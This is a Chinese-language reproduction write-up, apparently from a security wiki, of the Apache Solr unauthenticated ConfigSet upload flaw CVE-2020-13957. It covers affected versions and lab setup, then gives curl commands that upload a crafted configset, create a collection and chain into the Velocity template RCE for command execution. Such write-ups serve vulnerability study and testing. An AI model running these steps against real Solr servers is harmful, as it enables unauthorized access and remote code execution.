跳转至

Apache Solr RCE 未授权上传漏洞 CVE-2020-13957

漏洞描述

在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。

影响版本

Apache Solr 6.6.0 -6.6.5

Apache Solr 7.0.0 -7.7.3

Apache Solr 8.0.0 -8.6.2

环境搭建

选择一个存在漏洞的版本, 这里复现使用的是 Apache Solr 7.7.0 进行复现, 下载后执行以下命令进行环境部署

cd solr-7.7.0
./bin/solr start -e cloud -force

然后一路回车,直至出现

Created collection 'gettingstarted' with 2 shard(s), 2 replica(s) with config-set 'gettingstarted'

Enabling auto soft-commits with maxTime 3 secs using the Config API

POSTing request to Config API: http://localhost:8983/solr/gettingstarted/config
{"set-property":{"updateHandler.autoSoftCommit.maxTime":"3000"}}
Successfully set-property updateHandler.autoSoftCommit.maxTime to 3000


SolrCloud example running, please visit: http://localhost:8983/solr

访问 http://xxx.xxx.xxx.xxx:8983/solr/ 正常即可

漏洞复现

在攻击机上下载目标版本的Solr,执行下列命令打包压缩文件

solr-7.7.0/server/solr/configsets/sample_techproducts_configs/conf
zip -r - * > vuln.zip

540ba570-fe93-4fc6-b7fd-f5a5a7fc8f3f

将 vuln.zip 进行上传

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @vuln.zip "http://xxx.xxx.xxx.xxx:8983/solr/admin/configs?action=UPLOAD&name=vuln"

name参数为压缩包的文件名, 利用漏洞创建一个 core

curl "http://xxx.xxx.xxx.xxx:8983/solr/admin/collections?action=CREATE&name=peiqi&numShards=1&replicationFactor=1&wt=xml&collection.configName=vuln"


再使用 Apache Solr Velocity模板远程执行CVE-2019-17558 即可执行任意命令